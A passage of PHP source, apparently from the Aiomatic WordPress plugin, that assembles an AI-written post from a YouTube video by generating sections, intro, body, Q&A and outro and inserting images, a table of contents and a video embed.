                                    if (!isset($aiomatic_Main_Settings['do_not_check_duplicates']) || $aiomatic_Main_Settings['do_not_check_duplicates'] != 'on') 
                                    {
                                        $xposts = get_posts(
                                            array(
                                                'post_type'              => $post_type,
                                                'title'                  => html_entity_decode($new_post_title),
                                                'post_status'            => 'all',
                                                'numberposts'            => 1,
                                                'update_post_term_cache' => false,
                                                'update_post_meta_cache' => false,           
                                                'orderby'                => 'post_date ID',
                                                'order'                  => 'ASC',
                                            )
                                        );
                                        if ( ! empty( $xposts ) ) {
                                            $zap = $xposts[0];
                                        } else {
                                            $zap = null;
                                        }
                                        if($zap !== null)
                                        {
                                            if($overwrite_existing)
                                            {
                                                $update_post_id = $zap->ID;
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Post with specified title already published, skipping it: ' . $new_post_title);
                                                unset($url_list_lines[$current_index]);
                                                continue;
                                            }
                                        }
                                    }
                                }
                                $post_sections = '';
                                $current_section = '';
                                $headings_arr_copy = $headings_arr;
                                $added_img_list = array();
                                $raw_img_list = array();
                                $full_result_list = array();
                                $added_vid_list = array();
                                $added_images = 0;
                                $added_videos = 0;
                                $heading_results = array();
                                if(empty($post_title))
                                {
                                    aiomatic_log_to_file('Empty post title submitted, nothing to do!');
                                    continue;
                                }
                                if(stristr($run_regex_on, 'sections') !== false)
                                {
                                    if ($strip_by_regex_prompts !== '')
                                    {
                                        $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                        $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                        $xcnt = 0;
                                        foreach($xstrip_by_regex as $sbr)
                                        {
                                            if(isset($xreplace_regex[$xcnt]))
                                            {
                                                $repreg = $xreplace_regex[$xcnt];
                                            }
                                            else
                                            {
                                                $repreg = '';
                                            }
                                            $xcnt++;
                                            $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $sections_prompt);
                                            if($temp_cont !== NULL)
                                            {
                                                $sections_prompt = $temp_cont;
                                            }
                                        }
                                    }
                                }
                                if($sections_prompt != '' && $post_sections_list == '')
                                {
                                    if(!isset($aiomatic_Main_Settings['whole_prompt']) || trim($aiomatic_Main_Settings['whole_prompt']) != 'on')
                                    {
                                        $sections_prompt_arr = preg_split('/\r\n|\r|\n/', $sections_prompt);
                                        $my_post_section = $sections_prompt_arr[array_rand($sections_prompt_arr)];
                                    }
                                    else
                                    {
                                        $my_post_section = $sections_prompt;
                                    }
                                    $my_post_section = aiomatic_replace_youtube($my_post_section, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    if($my_post_section != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating tags'));
                                        $written = aiomatic_write_content($my_post_section, $topic_sections_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, true, false, 'sections', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate sections!');
                                            if($auto == 1)
                                            {
                                                aiomatic_clearFromList($param, $type);
                                            }
                                            return 'fail';
                                        }
                                        else
                                        {
                                            $post_sections = $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed sections prompt. Nothing to do.');
                                        if($auto == 1)
                                        {
                                            aiomatic_clearFromList($param, $type);
                                        }
                                        return 'fail';
                                    }
                                }
                                else
                                {
                                    if($post_sections_list != '')
                                    {
                                        $post_sections = $spintax->Parse($post_sections_list);
                                    }
                                }
                                $post_sections = aiomatic_filter_sections($post_sections);
                                $new_post_content = '';
                                if(stristr($run_regex_on, 'intro') !== false)
                                {
                                    if ($strip_by_regex_prompts !== '')
                                    {
                                        $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                        $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                        $xcnt = 0;
                                        foreach($xstrip_by_regex as $sbr)
                                        {
                                            if(isset($xreplace_regex[$xcnt]))
                                            {
                                                $repreg = $xreplace_regex[$xcnt];
                                            }
                                            else
                                            {
                                                $repreg = '';
                                            }
                                            $xcnt++;
                                            $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $intro_prompt);
                                            if($temp_cont !== NULL)
                                            {
                                                $intro_prompt = $temp_cont;
                                            }
                                        }
                                    }
                                }
                                if($intro_prompt != '')
                                {
                                    $my_intro_prompt = $intro_prompt;
                                    $my_intro_prompt = aiomatic_replace_youtube($my_intro_prompt, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    if($my_intro_prompt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating YouTube based intro'));
                                        $written = aiomatic_write_content($my_intro_prompt, $topic_intro_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'intro', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate intro for section: ' . $current_section);
                                            continue;
                                        }
                                        else
                                        {
                                            if($new_post_content != '')
                                            {
                                                $new_post_content .= ' ';
                                            }
                                            $new_post_content .= $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed intro prompt. Nothing to do.');
                                    }
                                }
                                if(stristr($topic_images_bck, '-') !== false)
                                {
                                    preg_match('/\s*(\d+)\s*-\s*(\d+)\s*/', $topic_images_bck, $matches);
                                    if(isset($matches[2]) && $matches[2] != '' && isset($matches[1]) && $matches[1] != '')
                                    {
                                        $txmin = intval($matches[1]);
                                        $txmax = intval($matches[2]);
                                        $topic_images = mt_rand($txmin, $txmax);
                                    }
                                    else
                                    {
                                        $topic_images = $topic_images_bck;
                                    }
                                }
                                if($heading_image_loc != 'top')
                                {
                                    if($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images)
                                    {
                                        if($new_post_content !== '')
                                        {
                                            $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                            if($new_img !== false && !in_array($new_img, $added_img_list))
                                            {
                                                $new_post_content .= '<br/><img class="yimage_class" src="' . $new_img . '" alt="' . esc_attr($post_title) . '"><br/>';
                                                $added_img_list[] = $new_img;
                                                $added_images++;
                                            }
                                        }
                                    }
                                }
                                if($title_outro != '')
                                {
                                    $my_title_outro = $title_outro;
                                    $my_title_outro = aiomatic_replace_youtube($my_title_outro, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    $my_title_outro = $spintax->Parse(trim($my_title_outro));     
                                }
                                if(!empty($title_toc))
                                {
                                    $my_title_toc = $title_toc;
                                    $my_title_toc = aiomatic_replace_youtube($my_title_toc, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    $my_title_toc = $spintax->Parse(trim($my_title_toc));
                                }
                                if($title_qa != '')
                                {
                                    $my_title_qa = $title_qa;
                                    $my_title_qa = aiomatic_replace_youtube($my_title_qa, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    $my_title_qa = $spintax->Parse(trim($my_title_qa));
                                }
                                if($content_prompt != '')
                                {
                                    if($single_content_call == '1')
                                    {
                                        $last_section_content = '';
                                        $current_section = $post_sections;
                                        $my_post_content = $content_prompt;
                                        $my_post_content = aiomatic_replace_youtube($my_post_content, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                        $my_post_content = str_replace('%%article_so_far%%', $new_post_content, $my_post_content);
                                        $my_post_content = str_replace('%%last_section_content%%', $last_section_content, $my_post_content);
                                        if(stristr($run_regex_on, 'content') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_content);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_post_content = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($my_post_content != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating YouTube based topic list'));
                                            $written = aiomatic_write_content($my_post_content, $topic_content_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'content', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate topic list for section: ' . $current_section);
                                                continue;
                                            }
                                            else
                                            {
                                                if($new_post_content != '')
                                                {
                                                    $new_post_content .= ' ';
                                                }
                                                $new_img_arr = array();
                                                if($topic_images != '' && is_numeric($topic_images) && intval($topic_images) - 2 > $added_images)
                                                {
                                                    $howmore = intval($topic_images) - 2;
                                                    for($cont = 0; $cont < $howmore; $cont++)
                                                    {
                                                        if($search_query_repetition == '1')
                                                        {
                                                            $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                                        }
                                                        else
                                                        {
                                                            $new_img = aiomatic_get_royalty_free_image($current_section, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                                        }
                                                        if($new_img !== false && !in_array($new_img, $added_img_list))
                                                        {
                                                            $new_post_content .= '<br/><img class="zimage_class" src="' . $new_img . '" alt="' . esc_attr($current_section) . '"><br/>';
                                                            $added_img_list[] = $new_img;
                                                            $new_img_arr[] = $new_img;
                                                            $added_images++;
                                                        }
                                                    } 
                                                }
                                                if(count($new_img_arr) > 0)
                                                {
                                                    $written_arr = preg_split("/\r\n|\n|\r/", $written);
                                                    if(count($written_arr) > 1)
                                                    {
                                                        foreach($new_img_arr as $new_img_x)
                                                        {
                                                            array_splice($written_arr, rand(0, count($written_arr)), 0, '<br/><img src="' . $new_img_x . '">');
                                                        }
                                                        $written = implode('\r\n', $written_arr);
                                                    }
                                                }
                                                $new_vid_arr = array();
                                                $new_post_content .= $written;
                                                if($topic_videos == '1')
                                                {
                                                    preg_match("/^(?:http(?:s)?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?v(?:i)?=|(?:embed|v|vi|user|shorts)\/))([^\?&\"'>]+)/", $video_url, $amatches);
                                                    if(isset($amatches[1]))
                                                    {
                                                        $video_id = $amatches[1];
                                                        if (isset($aiomatic_Main_Settings['player_width']) && $aiomatic_Main_Settings['player_width'] !== '') {
                                                            $vwidth = esc_attr($aiomatic_Main_Settings['player_width']);
                                                        }
                                                        else
                                                        {
                                                            $vwidth = 580;
                                                        }
                                                        if (isset($aiomatic_Main_Settings['player_height']) && $aiomatic_Main_Settings['player_height'] !== '') {
                                                            $vheight = esc_attr($aiomatic_Main_Settings['player_height']);
                                                        }
                                                        else
                                                        {
                                                            $vheight = 380;
                                                        }
                                                        $new_post_content .= '<br/><br/><div class="automaticx-video-container"><iframe allow="autoplay" width="' . $vwidth . '" height="' . $vheight . '" src="https://www.youtube.com/embed/' . $video_id . '" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></div>';
                                                        $added_vid_list[] = $video_id;
                                                        $new_vid_arr[] = $new_img;
                                                        $added_videos++;
                                                    }
                                                }
                                                if(count($new_vid_arr) > 0)
                                                {
                                                    $written_arr = preg_split("/\r\n|\n|\r/", $written);
                                                    if(count($written_arr) > 1)
                                                    {
                                                        foreach($new_vid_arr as $new_img_x)
                                                        {
                                                            array_splice($written_arr, rand(0, count($written_arr)), 0, '<br/><img src="' . $new_img_x . '">');
                                                        }
                                                        $written = implode('\r\n', $written_arr);
                                                    }
                                                }
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed topic prompt. Nothing to do.');
                                        }
                                    }
                                    else
                                    {
                                        if($post_sections != '')
                                        {
                                            $post_sections_arr = preg_split('/\r\n|\r|\n/', $post_sections);
                                        }
                                        else
                                        {
                                            $post_sections_arr = array();
                                        }
                                        $toc = '';
                                        if($enable_toc == '1')
                                        {
                                            if(!empty($title_toc))
                                            {
                                                if($my_title_toc != '')
                                                {
                                                    $toc .= '<h2>' . $my_title_toc . '</h2>';
                                                }
                                            }
                                            $toc .= '<ul class="toc-class">';
                                            foreach($post_sections_arr as $current_section)
                                            {
                                                if(!empty($current_section))
                                                {
                                                    $toc .= '<li><a href="#' . sanitize_title($current_section) . '">' . $current_section . '</a></li>';
                                                }
                                            }
                                            if($title_qa != '')
                                            {
                                                if($my_title_qa != '')
                                                {
                                                    if($qa_prompt != '' && $enable_qa == '1')
                                                    {
                                                        $toc .= '<li><a href="#qa">' . $my_title_qa . '</a></li>';
                                                    }
                                                }
                                            }
                                            if($title_outro != '')
                                            {
                                                if($my_title_outro != '')
                                                {
                                                    if($outro_prompt != '')
                                                    {
                                                        $toc .= '<li><a href="#outro">' . $my_title_outro . '</a></li>';
                                                    }
                                                }
                                            }
                                            $toc .= '</ul>';
                                            $new_post_content .= '<br/>' . $toc . '<br/>';
                                        }
                                        $section_id = 1;
                                        $last_section_content = '';
                                        foreach($post_sections_arr as $current_section)
                                        {
                                            $current_section = trim($current_section);
                                            $current_section = trim($current_section, '.;');
                                            if(empty($current_section))
                                            {
                                                continue;
                                            }
                                            $my_post_content = $content_prompt;
                                            $my_post_content = aiomatic_replace_youtube($my_post_content, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                            $my_post_content = str_replace('%%article_so_far%%', $new_post_content, $my_post_content);
                                            $my_post_content = str_replace('%%last_section_content%%', $last_section_content, $my_post_content);
                                            if(stristr($run_regex_on, 'content') !== false)
                                            {
                                                if ($strip_by_regex_prompts !== '')
                                                {
                                                    $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                    $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                    $xcnt = 0;
                                                    foreach($xstrip_by_regex as $sbr)
                                                    {
                                                        if(isset($xreplace_regex[$xcnt]))
                                                        {
                                                            $repreg = $xreplace_regex[$xcnt];
                                                        }
                                                        else
                                                        {
                                                            $repreg = '';
                                                        }
                                                        $xcnt++;
                                                        $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_post_content);
                                                        if($temp_cont !== NULL)
                                                        {
                                                            $my_post_content = $temp_cont;
                                                        }
                                                    }
                                                }
                                            }
                                            if($my_post_content != '')
                                            {
                                                aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating YouTube based content for section ID #' . $section_id));
                                                $section_id++;
                                                $written = aiomatic_write_content($my_post_content, $topic_content_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'content', 'user', $assistant_id, $thread_id);
                                                if($written === false)
                                                {
                                                    aiomatic_log_to_file('Failed to generate content for section: ' . $current_section);
                                                    continue;
                                                }
                                                else
                                                {
                                                    if($heading_image_loc == 'top')
                                                    {
                                                        if($img_all_headings == '1' || ($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images))
                                                        {
                                                            if($new_post_content !== '')
                                                            {
                                                                if($search_query_repetition == '1')
                                                                {
                                                                    $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                                                }
                                                                else
                                                                {
                                                                    $new_img = aiomatic_get_royalty_free_image($current_section, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                                                }
                                                                if($new_img !== false && !in_array($new_img, $added_img_list))
                                                                {
                                                                    $new_post_content .= '<br/><img class="qimage_class" src="' . $new_img . '" alt="' . esc_attr($current_section) . '"><br/>';
                                                                    $added_img_list[] = $new_img;
                                                                    $added_images++;
                                                                }
                                                            }
                                                        }
                                                    }
                                                    $written = str_ireplace($current_section, '', $written);
                                                    preg_match_all('#\d+\.\s*([\s\S]*)#', $current_section, $mxatches);
                                                    if(isset($mxatches[1][0]))
                                                    {
                                                        $written = str_ireplace(trim($mxatches[1][0]), '', $written);
                                                        $written = str_ireplace(str_replace(['"', '\''], '', $mxatches[1][0]), '', $written);
                                                    }
                                                    $written = str_ireplace('<h2></h2>', '', $written);
                                                    $written = str_ireplace('<h3></h3>', '', $written);
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="' . sanitize_title($current_section) . '">' . $current_section . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="' . sanitize_title($current_section) . '">' . $current_section . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="' . sanitize_title($current_section) . '">' . $current_section . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="' . sanitize_title($current_section) . '">' . $current_section . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="' . sanitize_title($current_section) . '">' . $current_section . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="' . sanitize_title($current_section) . '">' . $current_section . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="' . sanitize_title($current_section) . '">' . $current_section . '</span><br/>';
                                                    }
                                                    if($heading_image_loc == 'heading')
                                                    {
                                                        if($img_all_headings == '1' || ($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images))
                                                        {
                                                            if($new_post_content !== '')
                                                            {
                                                                if($search_query_repetition == '1')
                                                                {
                                                                    $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                                                }
                                                                else
                                                                {
                                                                    $new_img = aiomatic_get_royalty_free_image($current_section, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                                                }
                                                                if($new_img !== false && !in_array($new_img, $added_img_list))
                                                                {
                                                                    $new_post_content .= '<br/><img class="qimage_class" src="' . $new_img . '" alt="' . esc_attr($current_section) . '"><br/>';
                                                                    $added_img_list[] = $new_img;
                                                                    $added_images++;
                                                                }
                                                            }
                                                        }
                                                    }
                                                    $last_section_content = $written;
                                                    $new_post_content .= $written;
                                                }
                                                if($heading_image_loc == 'bottom')
                                                {
                                                    if($img_all_headings == '1' || ($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images))
                                                    {
                                                        if($new_post_content !== '')
                                                        {
                                                            if($search_query_repetition == '1')
                                                            {
                                                                $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                                            }
                                                            else
                                                            {
                                                                $new_img = aiomatic_get_royalty_free_image($current_section, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                                            }
                                                            if($new_img !== false && !in_array($new_img, $added_img_list))
                                                            {
                                                                $new_post_content .= '<br/><img class="qimage_class" src="' . $new_img . '" alt="' . esc_attr($current_section) . '"><br/>';
                                                                $added_img_list[] = $new_img;
                                                                $added_images++;
                                                            }
                                                        }
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                aiomatic_log_to_file('Empty processed content prompt. Nothing to do.');
                                            }
                                        }
                                    }
                                }
                                if($enable_qa == '1')
                                {
                                    if($qa_prompt != '')
                                    {
                                        $my_qa_prompt = $qa_prompt;
                                        $my_qa_prompt = aiomatic_replace_youtube($my_qa_prompt, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                        if(stristr($run_regex_on, 'qa') !== false)
                                        {
                                            if ($strip_by_regex_prompts !== '')
                                            {
                                                $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                                $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                                $xcnt = 0;
                                                foreach($xstrip_by_regex as $sbr)
                                                {
                                                    if(isset($xreplace_regex[$xcnt]))
                                                    {
                                                        $repreg = $xreplace_regex[$xcnt];
                                                    }
                                                    else
                                                    {
                                                        $repreg = '';
                                                    }
                                                    $xcnt++;
                                                    $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_qa_prompt);
                                                    if($temp_cont !== NULL)
                                                    {
                                                        $my_qa_prompt = $temp_cont;
                                                    }
                                                }
                                            }
                                        }
                                        if($my_qa_prompt != '')
                                        {
                                            aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating YouTube based qa'));
                                            $written = aiomatic_write_content($my_qa_prompt, $topic_qa_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'qa', 'user', $assistant_id, $thread_id);
                                            if($written === false)
                                            {
                                                aiomatic_log_to_file('Failed to generate Q&A for topic: ' . $current_section);
                                                continue;
                                            }
                                            else
                                            {
                                                if($new_post_content != '')
                                                {
                                                    $new_post_content .= ' ';
                                                }
                                                if($my_title_qa !== '')
                                                {
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="qa">' . $my_title_qa . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="qa">' . $my_title_qa . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="qa">' . $my_title_qa . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="qa">' . $my_title_qa . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="qa">' . $my_title_qa . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="qa">' . $my_title_qa . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="qa">' . $my_title_qa . '</span><br/>';
                                                    }
                                                    else
                                                    {
                                                        $new_post_content .= '<br/>' . $my_title_qa . '<br/>';
                                                    }
                                                }
                                                $new_post_content .= $written;
                                            }
                                        }
                                        else
                                        {
                                            aiomatic_log_to_file('Empty processed Q&A prompt. Nothing to do.');
                                        }
                                    }
                                }
                                if($outro_prompt != '')
                                {
                                    $my_outro_prompt = $outro_prompt;
                                    $my_outro_prompt = aiomatic_replace_youtube($my_outro_prompt, $post_title, $post_desc, $video_url, $returned_caption, $content_language, $writing_style, $writing_tone, $post_sections, $current_section, $section_count, $paragraph_count, $post_title_keywords, $custom_shortcodes, $global_prepend, $global_append, $default_cat_list);
                                    if(stristr($run_regex_on, 'outro') !== false)
                                    {
                                        if ($strip_by_regex_prompts !== '')
                                        {
                                            $xstrip_by_regex = preg_split('/\r\n|\r|\n/', $strip_by_regex_prompts);
                                            $xreplace_regex = preg_split('/\r\n|\r|\n/', $replace_regex_prompts);
                                            $xcnt = 0;
                                            foreach($xstrip_by_regex as $sbr)
                                            {
                                                if(isset($xreplace_regex[$xcnt]))
                                                {
                                                    $repreg = $xreplace_regex[$xcnt];
                                                }
                                                else
                                                {
                                                    $repreg = '';
                                                }
                                                $xcnt++;
                                                $temp_cont = preg_replace("~" . $sbr . "~i", $repreg, $my_outro_prompt);
                                                if($temp_cont !== NULL)
                                                {
                                                    $my_outro_prompt = $temp_cont;
                                                }
                                            }
                                        }
                                    }
                                    if($my_outro_prompt != '')
                                    {
                                        aiomatic_job_set_status_pending($rule_unique_id, array('step' => 'Generating YouTube based outro'));
                                        $written = aiomatic_write_content($my_outro_prompt, $topic_outro_model, $temperature, $top_p, $presence_penalty, $frequency_penalty, $max_tokens, $token, $global_prepend, $global_append, false, false, 'outro', 'user', $assistant_id, $thread_id);
                                        if($written === false)
                                        {
                                            aiomatic_log_to_file('Failed to generate outro for section: ' . $current_section);
                                            continue;
                                        }
                                        else
                                        {
                                            if($new_post_content != '')
                                            {
                                                $new_post_content .= ' ';
                                            }
                                            if($title_outro !== '')
                                            {
                                                if($my_title_outro != '')
                                                {
                                                    if($sections_role == 'h2')
                                                    {
                                                        $new_post_content .= '<h2 id="outro">' . $my_title_outro . '</h2>';
                                                    }
                                                    elseif($sections_role == 'h3')
                                                    {
                                                        $new_post_content .= '<h3 id="outro">' . $my_title_outro . '</h3>';
                                                    }
                                                    elseif($sections_role == 'b')
                                                    {
                                                        $new_post_content .= '<b id="outro">' . $my_title_outro . '</b>';
                                                    }
                                                    elseif($sections_role == 'i')
                                                    {
                                                        $new_post_content .= '<i id="outro">' . $my_title_outro . '</i>';
                                                    }
                                                    elseif($sections_role == 'bi')
                                                    {
                                                        $new_post_content .= '<b><i id="outro">' . $my_title_outro . '</i></b>';
                                                    }
                                                    elseif($sections_role == 'p')
                                                    {
                                                        $new_post_content .= '<p id="outro">' . $my_title_outro . '</p>';
                                                    }
                                                    elseif($sections_role == 'x')
                                                    {
                                                        $new_post_content .= '<br/><span id="outro">' . $my_title_outro . '</span><br/>';
                                                    }
                                                    else
                                                    {
                                                        $new_post_content .= '<br/>' . $my_title_outro . '<br/>';
                                                    }
                                                }
                                            }
                                            else
                                            {
                                                $new_post_content .= '<br/><br/>';
                                            }
                                            $new_post_content .= $written;
                                        }
                                    }
                                    else
                                    {
                                        aiomatic_log_to_file('Empty processed outro prompt. Nothing to do.');
                                    }
                                }
                                if($topic_images != '' && is_numeric($topic_images) && $topic_images > $added_images)
                                {
                                    if($new_post_content !== '')
                                    {
                                        $new_img = aiomatic_get_royalty_free_image($post_title, $enable_ai_images, $image_size, $images_arr, $token, $post_link, $post_title, $blog_title, $post_excerpt, $final_content, $user_name, $featured_image, $post_cats, $post_tagz, $postID, $img_attr, $old_title, $custom_shortcodes, $global_prepend, $global_append, $image_url, $raw_img_list, $default_cat_list, $image_model);
                                        if($new_img !== false && !in_array($new_img, $added_img_list))
                                        {
                                            $new_post_content .= '<br/><img class="wimage_class" src="' . $new_img . '" alt="' . esc_attr($post_title) . '"><br/>';
                                            $added_img_list[] = $new_img;
                                            $added_images++;
                                        }
                                    }
                                }
                                if($topic_videos == '1')
                                {
                                    preg_match("/^(?:http(?:s)?:\/\/)?(?:www\.)?(?:m\.)?(?:youtu\.be\/|youtube\.com\/(?:(?:watch)?\?(?:.*&)?v(?:i)?=|(?:embed|v|vi|user|shorts)\/))([^\?&\"'>]+)/", $video_url, $amatches);
                                    if(isset($amatches[1]))
                                    {
                                        $video_id = $amatches[1];
